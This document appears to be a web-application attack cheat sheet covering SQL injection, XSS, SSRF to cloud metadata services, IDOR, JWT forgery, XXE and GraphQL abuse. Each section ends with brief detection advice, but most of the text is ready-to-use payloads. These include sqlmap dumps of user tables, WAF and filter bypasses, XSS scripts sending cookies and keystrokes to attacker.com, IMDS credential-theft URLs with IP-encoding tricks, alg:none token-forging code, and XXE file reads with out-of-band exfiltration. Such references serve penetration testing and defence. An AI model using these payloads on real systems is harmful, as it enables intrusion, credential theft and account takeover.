🔴 Web App Attacks

Web Application Attack Reference

SQLi, XSS, SSRF→IMDS, IDOR, JWT attacks, GraphQL, XXE — attack patterns, payloads, bypass techniques, and WAF evasion for each vulnerability class.

SQL Injection

Injecting SQL syntax into application inputs to manipulate database queries. Remains one of the most impactful vulnerability classes — data extraction, authentication bypass, and sometimes RCE (xp_cmdshell on MSSQL).

Detection / Error-Based

# Basic injection test ' OR '1'='1 " OR "1"="1 ' OR 1=1-- ' OR 1=1# ') OR ('1'='1 # UNION-based extraction (detect column count first) ' ORDER BY 1-- ' ORDER BY 5-- # Keep incrementing until error ' UNION SELECT NULL,NULL,NULL-- # Match column count # Extract database version ' UNION SELECT @@version,NULL,NULL-- # MSSQL ' UNION SELECT version(),NULL,NULL-- # MySQL ' UNION SELECT banner,NULL FROM v$version-- # Oracle # Extract table names (MySQL) ' UNION SELECT table_name,NULL FROM information_schema.tables-- # Extract user credentials ' UNION SELECT username,password FROM users--

Blind SQL Injection — Boolean-Based

# No visible output — infer true/false from page differences ' AND 1=1-- # True — page loads normally ' AND 1=2-- # False — different response # Extract data character by character (MySQL) ' AND SUBSTRING(username,1,1)='a' FROM users WHERE id=1-- ' AND ASCII(SUBSTRING(username,1,1))>64-- # Automate with sqlmap sqlmap -u "https://target.com/app?id=1" --dbs sqlmap -u "https://target.com/app?id=1" -D dbname --tables sqlmap -u "https://target.com/app?id=1" -D dbname -T users --dump # With cookie: sqlmap -u URL --cookie="SESSIONID=xxx" # POST: sqlmap -u URL --data="user=x&pass=y" -p user

Time-Based Blind SQLi

# No response difference — use time delay as signal # MySQL ' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- # MSSQL ' WAITFOR DELAY '0:0:5'-- '; WAITFOR DELAY '0:0:5'-- # PostgreSQL '; SELECT pg_sleep(5)-- ' AND 1=(SELECT 1 FROM pg_sleep(5))-- # Oracle ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

WAF Bypass Techniques

# Case variation SeLeCt * FrOm UsErS # Comment injection SE/**/LECT * FR/**/OM users SE--\nLECT * FROM users # URL encoding %27 = ' %20 = space %2d%2d = -- # Double URL encoding %2527 (double-encoded apostrophe) # Alternative syntax (MySQL) SELECT /*!SLEEP*/(5)-- SELECT 1,2,3 FROM users WHERE 1=0 UNION ALL SELECT 1,2,3-- # Whitespace alternatives SELECT%09*%09FROM%09users-- # Tab instead of space SELECT(username)FROM(users)WHERE(1=1)

🔍 Detection: WAF/RASP alert on SQL keywords in parameters. App logs: database errors in HTTP responses. SIEM: HTTP 500 spike from single IP. Web app firewall log: SQLi signature matches. ModSecurity rule ID 942xxx.

Cross-Site Scripting (XSS)

Basic XSS Test Payloads

# Test payloads — check for unfiltered execution <script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> "><script>alert(1)</script> '><script>alert(1)</script> javascript:alert(1) # Polyglot XSS (tests multiple contexts) jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Session Hijacking via XSS (Stored)

# Steal session cookie and send to attacker <script> fetch('https://attacker.com/steal?cookie=' + document.cookie) </script> # BeEF hook (browser exploitation framework) <script src="http://attacker.com:3000/hook.js"></script> # Keylogger <script> document.addEventListener('keypress', function(e){ fetch('https://attacker.com/k?k='+e.key); }); </script>

Filter Bypass Techniques

# When <script> is filtered <img src=x onerror="alert(1)"> <details open ontoggle=alert(1)> <video><source onerror=alert(1)> # When quotes are filtered <img src=x onerror=alert(1)> (no quotes) <img src=x onerror=alert`1`> (backticks) # When parentheses filtered <img src=x onerror="window['al'+'ert'](1)"> <svg onload=alert(1)> (HTML entities) # When keywords filtered <img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))"> # Encoded <img src=x onerror="alert(1)">

🔍 Detection: CSP (Content Security Policy) blocks inline scripts. WAF: XSS signature matching. Application output encoding prevents execution. Browser: CSP violation reports to /csp-report endpoint.

Server-Side Request Forgery (SSRF)

Trick a server into making HTTP requests to attacker-controlled or internal targets. Critical impact in cloud environments: SSRF to cloud metadata API gives instance credentials.

Cloud Metadata SSRF — The High-Impact Path

# AWS EC2 IMDS (IMDSv1 — most impactful) http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Response contains: AccessKeyId, SecretAccessKey, Token (temporary creds) # These can be used directly with AWS CLI # AWS IMDSv2 (requires token first — SSRF harder but not impossible) # First get token: PUT http://169.254.169.254/latest/api/token (with header TTL) # Then: GET with X-aws-ec2-metadata-token header # Azure IMDS http://169.254.169.254/metadata/instance?api-version=2021-02-01 http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/ # (Requires Metadata: true header) # GCP Metadata http://metadata.google.internal/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # (Requires Metadata-Flavor: Google header)

SSRF Filter Bypass

# IP format bypass when 169.254.x.x is blocked http://2852039166/ # Decimal representation of 169.254.169.254 http://0xa9fea9fe/ # Hex representation http://0251.0376.0251.0376/ # Octal representation http://[::ffff:169.254.169.254]/ # IPv6 representation # DNS-based bypass (point your domain to 169.254.169.254) http://metadata.attacker.com/ # Resolves to 169.254.169.254 # Redirect bypass (if app follows redirects) # Host: attacker.com/redirect → 301 → http://169.254.169.254/... # Alternative services to target via SSRF http://localhost/admin # Internal admin panel http://127.0.0.1:8080/ # Internal service on non-public port http://10.0.0.1/ # Internal network resource file:///etc/passwd # Local file access

🔍 Detection: WAF: block requests containing 169.254.x.x, localhost, 127.x.x.x in URL parameters. Network: outbound connections from app server to metadata IP. Application: allowlist valid URL destinations. Enforce IMDSv2 (blocks unauthenticated SSRF to IMDS).

IDOR / Broken Access Control

Insecure Direct Object Reference — access another user's resources by manipulating object identifiers (IDs, filenames, GUIDs) in requests. One of the most common and impactful web vulnerabilities.

IDOR Testing Methodology

# Horizontal privilege escalation (same role, different user) GET /api/user/1001/profile # Your profile GET /api/user/1002/profile # Another user's profile — should be forbidden # ID manipulation types GET /api/orders/12345 # Sequential integer — try 12344, 12346 GET /api/docs/abc123 # Short string — enumerate GET /api/user/00000001 # Zero-padded — try variations GET /api/invoice/2024-001-1234 # Structured ID — decode the pattern # Vertical privilege escalation (lower role to higher role) GET /api/admin/users # Non-admin accessing admin endpoint # Mass assignment (send extra fields) PUT /api/user/profile {"name":"test","role":"admin"} # Try injecting role/privilege fields # Indirect IDOR via reference GET /api/report?file=my-report.pdf GET /api/report?file=../admin/financials.pdf # Path traversal + IDOR

Common IDOR Locations

Location	What to Test	Risk
URL path parameter	/api/user/{id}/data — change ID to another user's	High — direct data access
Query parameter	?account_id=123 — manipulate to other account IDs	High
POST body	{"user_id":123} — change to another user ID	High
Cookie/hidden field	Hidden form field with object ID — modify in browser	High
File download	?filename=myfile.pdf — try ../../etc/passwd or other user files	Critical — path traversal
Export/report	?report_id=1234 — try other IDs for other users' reports	High — data exposure
Password reset	?token=abc — reset another user's password via predictable token	Critical — account takeover

🔍 Detection: Application-level: enforce object-level authorisation (OLA) checks — verify user owns/can access the requested object on every request. Logging: 403 errors on object IDs not belonging to the current user. SIEM: single user accessing many different user IDs sequentially.

JWT (JSON Web Token) Attacks

Algorithm Confusion — RS256 to HS256

If server uses RS256 (asymmetric), the public key is sometimes publicly accessible. Change algorithm to HS256 (symmetric) and sign with the public key — server verifies with public key as HMAC secret.

# Step 1: Decode existing JWT import base64, json header_b64 = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" header = json.loads(base64.urlsafe_b64decode(header_b64 + "==")) # {"alg":"RS256","typ":"JWT"} # Step 2: Get server's public key (often at /.well-known/jwks.json or /api/keys) # curl https://target.com/.well-known/jwks.json # Step 3: Forge HS256 token signed with public key # Using python-jwt or jwt_tool python3 jwt_tool.py TOKEN -X k -pk public_key.pem # jwt_tool (comprehensive JWT testing) python3 jwt_tool.py TOKEN --all # Test all attacks python3 jwt_tool.py TOKEN -X a # alg:none attack python3 jwt_tool.py TOKEN -X s # Sign with empty secret python3 jwt_tool.py TOKEN -T # Tamper mode (change claims interactively)

alg:none Attack

# Change algorithm to "none" — no signature required # Original token: header.payload.signature # Forged token: header_with_alg_none.modified_payload. import base64, json header = {"alg":"none","typ":"JWT"} payload = {"sub":"admin","role":"admin","exp":9999999999} h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() forged_token = f"{h}.{p}." # Test variations of "none": None, NONE, nOnE, none

🔍 Detection: Reject alg:none tokens. Validate algorithm explicitly — never allow client to specify algorithm. Pin expected algorithm in server-side validation. Use established libraries (don't implement JWT validation manually). Monitor for JWTs with unexpected algorithms in logs.

XXE Injection

XML External Entity injection — when XML parsers process user-supplied XML and external entities are enabled. Allows file read, SSRF, and sometimes RCE.

# Basic XXE — read /etc/passwd <?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data><value>&xxe;</value></data> # Windows path <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]> # SSRF via XXE <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> # Blind XXE — exfil via DNS/HTTP <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/collect?data=%file;"> %xxe; ]> # Out-of-band XXE (OOB) with DTD <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]>

GraphQL Security Testing

# Introspection query — enumerate the schema {__schema{types{name,fields{name,type{name,kind,ofType{name,kind}}}}}} # Find all queries and mutations {__schema{queryType{fields{name,description}}mutationType{fields{name,description}}}} # Introspection disabled — try field suggestion # Send invalid field → server returns "did you mean X?" {user{username,passord}} # Typo → "did you mean password?" # Batching attack (bypass rate limiting) [{"query":"{user(id:1){password}}"}, {"query":"{user(id:2){password}}"}, {"query":"{user(id:3){password}}"}] # IDOR via GraphQL {user(id:1001){email,phone,address}} # Change ID {order(id:99999){total,items}} # Injection in GraphQL arguments {user(name:"admin' OR '1'='1"){password}}

🔍 Detection: XXE — disable external entity processing in XML parser (FEATURE_SECURE_PROCESSING). GraphQL — disable introspection in production. Implement query depth/complexity limits. Rate limit GraphQL operations. Log all GraphQL queries for anomaly analysis.